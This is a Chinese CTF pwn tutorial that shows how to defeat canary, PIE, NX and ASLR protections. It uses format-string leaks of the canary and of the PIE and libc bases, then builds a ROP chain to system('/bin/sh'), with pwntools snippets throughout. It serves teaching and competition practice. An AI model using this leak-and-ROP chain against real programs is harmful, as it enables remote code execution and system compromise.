当前位置: 首页 > news >正文

从一道综合题出发:实战绕过Canary+PIE+ASLR全保护(含Libc计算)

从一道综合题出发:实战绕过Canary+PIE+ASLR全保护(含Libc计算)

在CTF Pwn类题目中,面对同时开启Canary、PIE、NX和ASLR等多重保护机制的二进制程序,往往需要构建系统化的漏洞利用链。本文将以一道典型的高分赛题为例,详细拆解如何在复杂保护环境下完成信息泄露、地址计算和稳定攻击。

1. 多重保护机制解析

现代二进制程序通常会启用多种安全保护机制来增加漏洞利用难度。理解这些机制的工作原理是绕过它们的前提。

1.1 Canary保护原理

Canary保护通过在函数栈帧中插入随机值来检测栈溢出:

  • 布局位置:位于局部变量与返回地址之间
  • 检查时机:函数返回前验证该值是否被修改
  • 特征识别:x64架构下通常以00字节结尾
  • 绕过思路
    • 格式化字符串泄露
    • 逐字节爆破(Brute Force)
    • 覆盖部分Canary(当程序存在逻辑漏洞时)

注意:Canary的低位字节通常为\x00,这既是特征也是限制条件。

1.2 PIE与ASLR机制

PIE(Position Independent Executable)使程序基址随机化,ASLR(Address Space Layout Randomization)则随机化内存布局:

保护类型影响范围特征表现
PIE代码段/数据段地址高5位随机
ASLR堆/栈/库地址完整地址随机

关键区别在于PIE仅影响程序本身的加载基址,而ASLR影响所有内存区域。两者结合使用时,需要分别泄露不同模块的基址。

2. 综合漏洞利用框架构建

面对多重保护,需要建立系统化的利用流程。以下是一个典型的攻击链:

  1. 信息泄露阶段

    • 获取Canary值
    • 泄露程序基址(PIE)
    • 获取Libc函数地址
  2. 地址计算阶段

    # PIE基址计算示例 leaked_addr = 0x55cd48f8b3a0 offset = 0x12eb pie_base = leaked_addr - offset # Libc基址计算 libc_start_main = u64(leaked_bytes) libc_base = libc_start_main - libc.sym['__libc_start_main']
  3. ROP链构造

    • 组合程序内gadget
    • 调用Libc中的系统函数

3. 实战案例分析

假设目标程序具有以下特点:

  • 提供算术题交互界面
  • 存在格式化字符串漏洞
  • 15轮正常计算后进入关键函数

3.1 信息泄露过程

通过格式化字符串漏洞获取关键内存数据:

# 泄露Canary p.sendlineafter("= ? ", "%23$p") canary = int(p.recvline(), 16) # 泄露PIE地址 p.sendline("%25$p") pie_leak = int(p.recvline(), 16) pie_base = pie_leak - 0x1547 - 323 # 泄露Libc地址 p.sendline("%31$p") libc_start_main = int(p.recvline(), 16) - 241 libc_base = libc_start_main - libc.sym['__libc_start_main']

3.2 精确偏移计算

地址计算时需要特别注意偏移修正:

  • PIE偏移:IDA静态地址与运行时地址的差值
  • Libc偏移:不同版本libc的符号偏移差异
  • 栈对齐:x64架构下调用系统函数时的栈对齐要求

典型偏移修正代码:

# 获取关键函数地址 system = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh')) # 获取ROP gadget pop_rdi = pie_base + 0x1713 ret = pop_rdi + 1 # 用于栈对齐

4. 稳定Exploit构造

构建最终攻击载荷时需要特别注意:

  1. Canary恢复:在payload中正确位置填入原始Canary值
  2. ROP链构造
    payload = flat([ b'A'*offset, # 填充到Canary位置 p64(canary), # 恢复Canary p64(0), # 原始RBP值 pop_rdi, bin_sh, # 参数准备 ret, # 栈对齐 system # 触发系统调用 ])
  3. 交互处理:处理程序的各种输入/输出边界条件

实际比赛中还需要考虑:

  • 远程环境与本地测试的差异
  • 不同系统版本的偏移变化
  • 网络延迟对交互时序的影响

5. 高级技巧与优化

对于更复杂的场景,可以采用以下优化手段:

  • 部分写覆盖:当ASLR使地址高位随机时,通过覆盖低位字节实现劫持
  • 堆栈协同利用:结合堆漏洞完成更复杂的攻击链
  • 侧信道攻击:当直接泄露不可行时,通过错误信息推断内存数据

一个经过优化的最终exp可能包含以下结构:

def exploit(): # 第一阶段:信息泄露 leak_canary() leak_pie() leak_libc() # 第二阶段:计算关键地址 calc_gadgets() prepare_payload() # 第三阶段:触发漏洞 send_payload() interactive()

这种模块化设计便于调试和适应不同环境。在实际CTF比赛中,每个环节都可能需要多次尝试和调整,特别是在面对不同保护机制组合时,需要灵活选择最适合当前场景的利用方式。

http://www.rkmt.cn/news/1449870.html

相关文章:

  • 从Modbus到Profinet:给S7-1200 PLC通讯协议选型画张“地图”(含RS485接线避坑)
  • 别再手动调滤波器了!用Matlab快速验证Farrow插值性能,为FPGA设计铺路
  • 两大技巧:安卓手机批量发短信且不创建群聊
  • 2026 郑州新高一学校择校全攻略:排名、口碑、班型、区域推荐,到底怎么选 - GrowthUME
  • 别再被AI新名词吓到!Smaller.孔带你建立上帝视角,一张图看懂AI智能体生态全布局
  • 告别裸奔AssetBundle!手把手教你打造资源加密加载管线(Unity 2022+)
  • 2026 北京上门收酒机构排名深度解析:综合实力 TOP5 权威榜单 - 品牌排行榜单
  • 告别NeRF的漫长等待:用3D Gaussian Splatting在RTX 4090上实现实时新视图合成
  • 基于ESP32与红外通信的TV-B-Gone项目实践:从原理到实现
  • 基于ESP32与IoT Ladder Editor实现低成本PLC梯形图编程实战
  • 调参避坑指南:Lasso回归里的alpha参数到底怎么选?(附Python/GridSearchCV代码)
  • 蒋阳兵律师|深耕商事和破产法律 专业赋能疑难商事争议解决和企业破产重组及各方权益保护 - TOP10品牌推荐榜单
  • 终极指南:快速掌握阴阳师自动化脚本的完整使用技巧
  • 别只盯着公式!用Multisim仿真带你直观理解BJT镜像恒流源的工作原理与误差
  • 世嘉游戏模拟器Genesis Plus GX:免费高效重温经典游戏的终极选择
  • 普通人学AI大模型,这条路线帮你少走三年弯路
  • Hitboxer终极指南:用开源SOCD键盘映射工具彻底解决游戏输入冲突
  • 最新2026超全跨境卖家工具优惠码汇总(618大促sif优惠码、卖家精灵优惠折扣码、紫鸟浏览器推荐码等) - 跨境电商卖家出海
  • 蓝桥杯单片机DS18B20避坑指南:中断、时序与上电异常,附STC15完整代码
  • 别再只盯着文件上传传马了!用Phar反序列化在PHP里玩点更‘高级’的后渗透
  • 5.30华为OD机试真题 新系统 - 企业内部部门的最大层级 (Java/Py/C/C++/Js/Go)
  • 半导体设备通信实战:用Python模拟HSMS协议(TCP/IP + 端口5000)
  • 从‘炼丹’到‘理解’:Meta-Baseline论文精读与实验复现避坑指南
  • Video2X:开源AI视频增强框架,让模糊视频焕发新生
  • 3分钟搭建Windows直播服务器:nginx-rtmp-win32零基础教程
  • Akagi:免费开源麻将AI辅助工具终极指南,轻松提升你的雀魂水平
  • OpenWrt有线中继组网实操:除了KVR,这些高级设置项你真的理解了吗?(含NAS ID、R0KH密钥详解)
  • Libre Barcode免费开源条码字体:如何快速生成专业条码的完整指南
  • 抖音内容批量下载终极指南:3分钟掌握无水印素材获取技巧
  • 4. 注意力机制介绍_2